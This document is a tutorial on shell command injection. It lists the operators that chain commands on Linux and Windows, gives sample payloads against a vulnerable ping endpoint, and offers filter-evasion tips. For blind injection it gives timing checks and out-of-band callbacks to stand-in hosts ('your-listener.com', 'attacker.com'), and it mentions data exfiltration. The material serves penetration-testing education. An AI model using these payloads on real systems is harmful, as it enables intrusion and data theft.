Shell-command injection works by appending an extra command to one the application already runs. The characters that chain commands are the attack surface — learn them, and you can inject on nearly any vulnerable sink.

The Core Operators

OperatorNameBehaviorOS
;SemicolonRun next command regardless of previous resultLinux + PowerShell (not CMD)
&Background / sequenceRun both (background in Linux; sequence in Windows)Linux + Windows
&&ANDRun next only if previous succeededLinux + Windows
|PipePipe previous output to next commandLinux + Windows
||ORRun next only if previous failedLinux + Windows
` `BackticksExecute inside, substitute outputLinux
$(...)Command substitutionExecute inside, substitute outputLinux
%0aNewline (URL-encoded LF)Treated as command separatorLinux + Windows
%0dCRSometimes acts as separatorWindows (older CMD)

These operators work regardless of the web application’s language or framework — they’re interpreted by the shell, not the app.

The Only Platform Exception

; does not work in Windows CMD. It still works in:

  • Linux (bash, sh, dash, zsh)
  • Windows PowerShell

If ; fails but & works, you’re likely talking to CMD.

Practical Use

Given a vulnerable endpoint like:

http://target/ping?ip=INPUT

…which probably runs something like ping INPUT under the hood, try:

127.0.0.1; whoami
127.0.0.1 && whoami
127.0.0.1 | whoami
127.0.0.1 || whoami
127.0.0.1 %0a whoami
127.0.0.1 ; whoami
127.0.0.1 ` whoami `
127.0.0.1 $(whoami)

Each submits different injection strategies. Whichever produces the whoami output confirms injection.

Why Multiple Operators Matter

Apps that filter one operator often miss another. In order of filter difficulty:

  • ; — most commonly blocked
  • |, ||, && — often blocked by regex that targets common patterns
  • %0a (newline) — frequently overlooked, especially in URL contexts
  • ` — classic but easy to filter
  • $(...) — same

If the obvious operators fail, %0a (URL-encoded newline) is the most likely sleeper.

Blind vs Visible Injection

Visible — the output of your injected command appears in the response. Easy to confirm.

Blind — the command executes but you don’t see output. Confirm by:

  1. Timing — inject sleep 5 and watch response time:
    127.0.0.1 ; sleep 5
    127.0.0.1 && sleep 5
    
  2. Out-of-band — inject a command that calls home:
    127.0.0.1 ; curl http://your-listener.com/hit
    127.0.0.1 ; nslookup attacker.com
    

Blind command injection is just as impactful as visible — you can still exfil via DNS, HTTP callbacks, or write to a file you fetch later.

Front-End Validation

Many apps validate input in the browser (JavaScript) but not on the server. Classic bypass:

  1. Capture the request in Burp
  2. Submit raw payload without worrying about the browser filter
  3. Server still processes it

Front-end filters are UX hints, not security controls. Treat them like you would XSS client-side validation.